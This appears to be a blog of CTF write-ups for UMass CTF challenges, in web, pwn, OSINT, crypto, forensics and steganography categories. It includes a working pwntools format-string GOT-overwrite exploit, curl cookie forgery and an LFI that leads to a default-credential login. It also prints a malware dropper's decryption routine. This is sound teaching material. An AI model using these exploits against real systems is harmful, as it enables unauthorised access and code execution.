Hello Navi

Tech, Security & Personal Notes

This familiar brick castle is hiding something... can you break in and defeat the Koopa King?

这座熟悉的砖砌城堡隐藏着什么......您能闯进去打败库巴王吗?

Initial Analysis

The challenge presents a Bowser-themed web portal. A quick look at the page source reveals client-side JavaScript that sabotages any login attempt by replacing the input key with WEAK_NON_KOOPA_KNOCK on submission.

1
2
3
4
5
6
document.getElementById('key-form').onsubmit = function() {
const knockOnDoor = document.getElementById('key');
// It replaces whatever they typed with 'WEAK_NON_KOOPA_KNOCK'
knockOnDoor.value = "WEAK_NON_KOOPA_KNOCK";
return true;
};

This implies we need to interact with the server directly, bypassing the browser's UI logic.

Solution

  1. Reconnaissance: Checking the HTTP response headers with curl -v reveals a hidden message from Kamek: Server: BrOWSERS CASTLE (A note outside: "King Koopa, if you forget the key, check under_the_doormat! - Sincerely, your faithful servant, Kamek")

    The key appears to be under_the_doormat.

  2. Authentication Bypass: The challenge title and theme suggest the server expects a specific identity. Using the User-Agent Bowser and the discovered key, we can attempt a login:

    1
    2
    3
    curl -v -c cookies.txt -L http://browser-boss-fight.web.ctf.umasscybersec.org:32770/password-attempt \
    -A "Bowser" \
    -d "key=under_the_doormat"
    The -c cookies.txt flag saves the session cookie for subsequent requests.

  3. Defeating the Boss (Cookie Manipulation): Upon redirecting to /bowsers_castle.html, the page claims the "axe" has been removed to prevent defeat. Inspecting the cookies reveals a hasAxe=false value. To proceed, we must manually override this cookie to true:

    1
    2
    3
    curl -v -b cookies.txt -b "hasAxe=true" \
    -A "Bowser" \
    -L http://browser-boss-fight.web.ctf.umasscybersec.org:32770/bowsers_castle.html

  4. Victory: With the manipulated cookie, the server renders the victory page containing the flag.

Flag

UMASS{br0k3n_1n_2_b0wz3r5_c4st13}

I found this old portal for BrickWorks Co. They say their internal systems are secure, but I'm not so sure. Can you find the hidden admin dashboard and get the flag?

我发现了这个 BrickWorks 公司的旧门户网站。他们说他们的内部系统是安全的,但我不太确定。你能找到隐藏的管理仪表板并拿到旗帜吗?

Initial Analysis

The challenge provides a link to a web portal for BrickWorks Co. The goal is to find a hidden admin dashboard and retrieve the flag. Based on the hints, we should look for common files used to hide content from search engines and pay attention to URL parameters.

Solution

  1. Information Gathering: Checking robots.txt reveals several disallowed paths under /internal-docs/:

    1
    2
    3
    4
    User-agent: *
    Disallow: /internal-docs/assembly-guide.txt
    Disallow: /internal-docs/it-onboarding.txt
    Disallow: /internal-docs/q3-report.txt

  2. Vulnerability Discovery: Reading /internal-docs/it-onboarding.txt provides a crucial piece of information: > Staff can access any file using the ?file= parameter.

    This indicates a potential Local File Inclusion (LFI) or arbitrary file read vulnerability on the main page. The same document also mentions that credentials are stored in config.php.

  3. Exploitation: By using the ?file= parameter to read config.php (/?file=config.php), we find the location of the admin dashboard and a hint about credentials:

    1
    2
    3
    4
    // The admin dashboard is located at /dashboard-admin.php.
    // ...
    // WARNING: SYSTEM IS CURRENTLY USING DEFAULT FACTORY CREDENTIALS.
    define('ADMIN_USER', 'administrator');

  4. Accessing the Flag: Navigating to /dashboard-admin.php and logging in with the default credentials (administrator / administrator) grants access to the dashboard and reveals the flag.

Flag

UMASS{4lw4ys_ch4ng3_d3f4ult_cr3d3nt14ls}

Help design the office space for Brick City's new skyscraper! read flag.txt for design specifications.

nc brick-city-office-space.pwn.ctf.umasscybersec.org 45001

Enumeration

The challenge provides a 32-bit x86 Linux binary with the following protections:

  • RELRO: No RELRO (GOT is writable)
  • Stack Canary: No Canary
  • NX: Enabled
  • PIE: Disabled (Loads at 0x08048000)

Decompiling the vuln function reveals a clear Format String Vulnerability:

1
2
3
result = fgets(format, 592, stdin);
// ...
printf(format); // <--- Vulnerable call

The program allows multiple "redesigns," enabling us to trigger the vulnerability several times in a single session. By sending AAAA %p %p %p %p, we confirm the format string offset is 4.

Exploitation Strategy

Since the binary has No RELRO and PIE is disabled, we can perform a standard GOT overwrite:

  1. Leak Libc: Use the first printf to leak a libc address from the GOT (e.g., printf@GOT).
  2. Calculate Offsets: Determine the base address of libc and the absolute address of system.
  3. GOT Overwrite: Trigger the "redesign" loop and send a payload to overwrite printf@GOT with the address of system.
  4. Trigger Shell: Send the string cat flag.txt in the next iteration. printf(format) will execute system("cat flag.txt").

Solution

The following exploit uses pwntools to automate the process, carefully avoiding backticks (`) which the binary handles specially.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

elf = ELF('./BrickCityOfficeSpace')
libc = ELF('./libc.so.6')
p = remote('brick-city-office-space.pwn.ctf.umasscybersec.org', 45001)

offset = 4
printf_got = elf.got['printf']

# Step 1: Leak libc
payload = p32(printf_got) + b"|%4$s|"
p.sendlineafter(b"BrickCityOfficeSpace>", payload)
p.recvuntil(b"|")
leaked_printf = u32(p.recv(4))
libc.address = leaked_printf - libc.symbols['printf']

# Step 2: Overwrite GOT
p.sendlineafter(b"(y/n)", b"y")
# Avoid backticks (0x60) by adjusting the number of bytes written
payload = fmtstr_payload(offset, {printf_got: libc.symbols['system']}, numbwritten=1)
p.sendlineafter(b"BrickCityOfficeSpace>", payload)

# Step 3: Trigger system("cat flag.txt")
p.sendlineafter(b"(y/n)", b"y")
p.sendlineafter(b"BrickCityOfficeSpace>", b"cat flag.txt")
p.interactive()

Flag

UMASS{th3-f0rm4t_15-0ff-th3-ch4rt5}

Hopefully I can track down this red brick, because if there’s one thing I know, it’s that I hate sand. Flag format UMASS{What_The_Red_Brick_Does}, eg UMASS{Ground_Pound}

Initial Analysis

The challenge description provides several key clues:

  • "Son of a Sith...": A direct reference to Darth Vader/Anakin Skywalker.
  • "I hate sand": A famous quote by Anakin Skywalker from Star Wars: Episode II – Attack of the Clones, strongly associating the location with the desert planet Tatooine.
  • "Red Brick": A collectible item from the LEGO Star Wars video games used to unlock "Extras".
  • Visual Clues: The provided image shows a LEGO Darth Vader in a canyon environment (Jundland Wastes) with a floating Red Brick.

Solution

1. Game Identification

The low-poly aesthetic and the physical presence of a "Red Brick" (rather than the "Datacards" used in the 2022 Skywalker Saga) point to the classic games developed by TT Games, specifically LEGO Star Wars: The Complete Saga or LEGO Star Wars II: The Original Trilogy.

2. Location & Level

The quote "I hate sand" and the environment confirm the setting as Tatooine. Specifically, the visual matches Episode IV, Chapter 2: "Through the Jundland Wastes".

3. Red Brick Function

In LEGO Star Wars: The Complete Saga, the Red Brick found in the "Through the Jundland Wastes" level is located in a hidden area accessible in Free Play mode. Collecting this brick unlocks a specific "Extra" in the Cantina.

Researching the collectibles for this specific level reveals that the Red Brick unlocks the Fast Force ability, which speeds up the animation for Jedi and Sith characters using the Force on objects.

Flag

UMASS{Fast_Force}

I've heard there's a computer shop in the area that sells a computer that isn't designed to run Windows, macOS, or Linux. What's the processor that's in their flagship, PCIe-capable system? Flag format: UMASS{Name of Processor}, i.e. UMASS{AMD Ryzen 7 9800X3D}

Initial Analysis

This OSINT challenge asks for the processor of a flagship, PCIe-capable computer system sold by a shop that specializes in hardware not intended for mainstream operating systems like Windows, macOS, or Linux.

Key clues: - Non-mainstream OS (Windows, macOS, Linux excluded). - Flagship, PCIe-capable system. - Computer shop in a specific "area" (implied by the context of previous challenges or search).

Solution

Locate Luxembourg Frence first through picture.

By researching specialized computer shops, we identified AAA Technology Sàrl in Dudelange, Luxembourg. They are well-known for selling Amiga compatible hardware, which runs AmigaOS rather than Windows or Linux.

Their flagship PCIe-capable system is the AmigaOne series. Investigation into the technical specifications of their flagship systems and Amiga platform revealed that the processor used is the NXP QorIQ P1022.

Flag

UMASS{NXP QorIQ P1022}

I dropped my message into the bin of Legos. It's all scrambled up now. Please help.

Initial Analysis

The challenge provides a Python script encoder.py and its corresponding output output.txt. The goal is to recover a flag that has had its bits scrambled based on a seed derived from a hardcoded string.

Seed Generation

The script uses RSA to "encrypt" the string "I_LOVE_RNG":

1
2
3
4
text = "I_LOVE_RNG"
n, seed = RSA_enc(text)
# ...
enc_seed = pow(seed, e, n)

The RSA_enc function calculates seed = pow(plain_num, e, n). In the main function, it then calculates enc_seed = pow(seed, e, n). Since \(e=7\) is very small and the plaintext "I_LOVE_RNG" is short, the value \(m^e\) (where \(m\) is the integer representation of the text) is much smaller than the 4096-bit RSA modulus \(n\). This means pow(m, e, n) is simply \(m^e\) without any modular reduction.

Bit Shuffling

1
2
3
4
flag_bits = get_flag_bits(flag)
for i in range(10):
random.seed(seed*(i+1))
random.shuffle(flag_bits)

The flag is converted into a list of bits and shuffled 10 times using Python's random.shuffle. Each shuffle is seeded with a value derived from the seed identified above.

Solution

To recover the flag, we follow these steps:

  1. Recover the Seed: Calculate the integer value of "I_LOVE_RNG" and raise it to the 7th power to get the seed. We can verify this against enc_seed in the output file by checking if seed**7 == enc_seed.
  2. Reverse the Shuffle: Since random.shuffle is deterministic when the seed is known, we can track how the positions change. Instead of shuffling the bits directly, we shuffle a list of indices [0, 1, 2, ..., len(bits)-1].
  3. Reconstruct the Flag: After 10 shuffles, the index list tells us where each original bit ended up. We map the bits from the encoded flag back to their original positions and convert the bit array back into a string.

Solution Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import random

def get_flag_bits(flag_hex):
flag_bytes = bytes.fromhex(flag_hex)
bits = []
for b in flag_bytes:
bits.extend(list(bin(b)[2:].zfill(8)))
return bits

def bit_arr_to_str(bit_arr):
byte_arr = []
for i in range(0, len(bit_arr), 8):
byte = bit_arr[i:i+8]
char = int(''.join(byte), 2)
byte_arr.append(char)
return bytes(byte_arr)

# Values from output.txt
enc_flag_hex = "a9fa3c5e51d4cea498554399848ad14aa0764e15a6a2110b6613f5dc87fa70f17fafbba7eb5a2a5179"
text = "I_LOVE_RNG"
plain_num = int.from_bytes(text.encode(), "big")
seed = plain_num ** 7

flag_bits_enc = get_flag_bits(enc_flag_hex)
num_bits = len(flag_bits_enc)
indices = list(range(num_bits))

# Replay the shuffle on the indices
for i in range(10):
random.seed(seed * (i + 1))
random.shuffle(indices)

# Map scrambled bits back to original positions
flag_bits_orig = [None] * num_bits
for j in range(num_bits):
flag_bits_orig[indices[j]] = flag_bits_enc[j]

print(bit_arr_to_str(flag_bits_orig).decode())

Flag

UMASS{tH4Nk5_f0R_uN5CR4m8L1nG_mY_M3554g3}

My friend tells me there's an office of a store that sells special bricks above a well-known shopping centre on this street. My friend tells me I'll it will bring me joy, but I'm not sure that the bricks are from the famous company. Can you give me the contact email address of the store so I can learn more?

Flag format: UMASS{email@example.com}

Key clues: - "Special bricks" (possibly a LEGO alternative store) - "Above a well-known shopping centre" - "Bring me joy" (might be part of the store's name)

Solution

By researching shopping centers in Hong Kong known for hobbyist shops, we identified Ho King Commercial Centre (好景商业中心) and Ho King Shopping Centre (好景商场) as likely locations.

Using tools like Google Gemini Deep Search to find shops selling "bricks" in these locations, we found a store associated with "Joy" (matching the "bring me joy" hint). The store in question is Joying Bricks.

Searching for their contact information lead to the official email address.

Flag

UMASS{joyingwang@gmail.com}

Hey! A man was caught with malware on his PC in Lego City. Luckily, we were able to get a packet capture of his device during the download. Help Lego City Police figure out the source of this malicious download.

The flag for this challenge is in the format UMASS{[sha256sum]} of the malicious download.

Initial Analysis

The challenge provides a packet capture (thedamage.pcapng) containing traffic from a machine that downloaded malware. The goal is to identify the malicious file and its hash.

Solution

Using tshark, we analyzed the HTTP traffic to see what files were downloaded:

1
tshark -r thedamage.pcapng -Y http -T fields -e http.host -e http.request.uri | sort | uniq -c | sort -rn

The output revealed several interesting files: - /installer.py - /launcher - Several images (/fungame.jpg, /cooldog.jpeg, etc.)

We extracted the objects from the HTTP sessions:

1
tshark -r thedamage.pcapng --export-objects http,extracted_files -q

The launcher file appeared suspicious, but its file type was obscured and it didn't match known malware signatures.

Examining installer.py revealed it was a dropper script that decrypts launcher:

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib
import nacl.secret

def fix_error():
seed = "38093248092rsjrwedoaw3"
key = hashlib.sha256(seed.encode()).digest()
# XSalsa20 + Poly1305 MAC
box = nacl.secret.SecretBox(key)
with open("./launcher", "rb") as f:
data = f.read()
decrypted = box.decrypt(data)
with open("./launcher", "wb") as f:
f.write(decrypted)

The script uses PyNaCl (SecretBox) to decrypt launcher using the SHA256 hash of the seed 38093248092rsjrwedoaw3.

Decryption and Hashing

After decrypting the file, we calculated its SHA256 hash. The decrypted file was identified as a FreeBSD/i386 compact demand paged dynamically linked executable.

  • Decrypted SHA256: e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae

Checking this hash on VirusTotal confirms it is a known malicious file.

Flag

UMASS{e7a09064fc40dd4e5dd2e14aa8dad89b328ef1b1fdb3288e4ef04b0bd497ccae}

It's in the name!

Initial Analysis

We are given a file cake. Binary STL files, introduced in 1987, do not have a mandatory magic number. The first 80 bytes are reserved for a header (comments/description), which in this case are all zeros.

1
2
3
4
5
6
7
8
9
10
11
❯ xxd cake.stl | head
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 2a99 0000 59a9 053f 24a9 05bf 78a4 2cbf *...Y..?$...x.,.
00000060: f669 d740 6242 6140 2fd6 8b40 2a71 d940 .i.@bBa@/..@*q.@
00000070: 5a24 6540 63e7 8b40 bbb3 d940 3d3c 6440 Z$e@c..@...@=<d@
00000080: c774 8c40 0000 11a9 053f efa8 05bf d9a4 .t.@.....?......
00000090: 2cbf 3c49 d940 2cc4 5e40 4840 8e40 c748 ,.<I.@,.^@H@.@.H

Because of this lack of a fixed signature, tools like file may simply identify it as data.

Solution

Using ImHex with an STL file pattern, we can confirm the file structure. The triangleCount field (2a99 at offset 0x50) reveals that there are 39,210 triangles in the model.

1
triangleCount -> 2a99 -> 39210

By importing the model into Blender and zooming into its interior, we can find the flag model floating in the center.

Flag

UMASS{SL1C3_&_D1C3}

There's something in the water...

Initial Analysis

The challenge provides a GIF file (CHALL.gif). Inspecting the file with standard tools reveals a 12-frame animation.

  • File Analysis: Running identify -verbose CHALL.gif shows that the image uses an 8-color Global Color Table (3-bit).
  • Palette Anomaly: The palette contains redundant entries for almost identical colors. Specifically, the dark blue color of the water (11, 41, 71) is mapped to both index 1 and index 3.

Solution

In many steganography challenges involving GIFs or indexed PNGs, redundant palette indices are used to hide data. I wrote a script to isolate these two specific indices by extracting the frames and visualizing the pixels.

1
2
3
4
5
6
7
8
9
10
11
import PIL.Image
import numpy as np

# 'P' 代表 Palette(调色板)模式
img = PIL.Image.open('frame-0.gif').convert('P')
data = np.array(img)

# Visualize index 1 as '#' and everything else as '.'
for r in range(100):
row_str = "".join(["#" if x == 1 else "." for x in data[r]])
print(row_str)

By printing the pixel grid of the water area and specifically looking for the "hidden" index (Index 1 vs Index 3), a clear ASCII art representation of the flag appeared:

1
2
3
4
5
6
7
8
9
10
11
12
13
.....................................#.....................................................#........
..................................####.....................................................####.....
..................................#...........................................................#.....
..................................#...#..#...#......#####......#####...#.######.######...##...#.....
...#..#.#####.#####.#####.#####...#..##..#...#......#...#......#......##.....#......#...#.#...#.....
...#..#.#.#.#.#...#.#.....#......##.#.#..##..#......#####......#.....#.#.....#......#..#..#...##....
...#..#.#.#.#.#####.###...###...##....#..#.#.#......#...#......#..##...#....#......#..#######..##...
...#..#.#...#.#...#...###...###..##...#..#.#.#......#...#......#..###..#...#......#.......#...##....
...#..#.#...#.#...#.....#.....#...#...#..#..##......#...#......#....#..#...#......#.......#...#.....
...####.#...#.#...#.#####.#####...#..###.#...#.####.#...#.####.######.###..#......#.......#...#.....
..................................#...........................................................#.....
..................................####.....................................................####.....
.....................................#.....................................................#........

Flag

UMASS{1N_A_G1774}
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE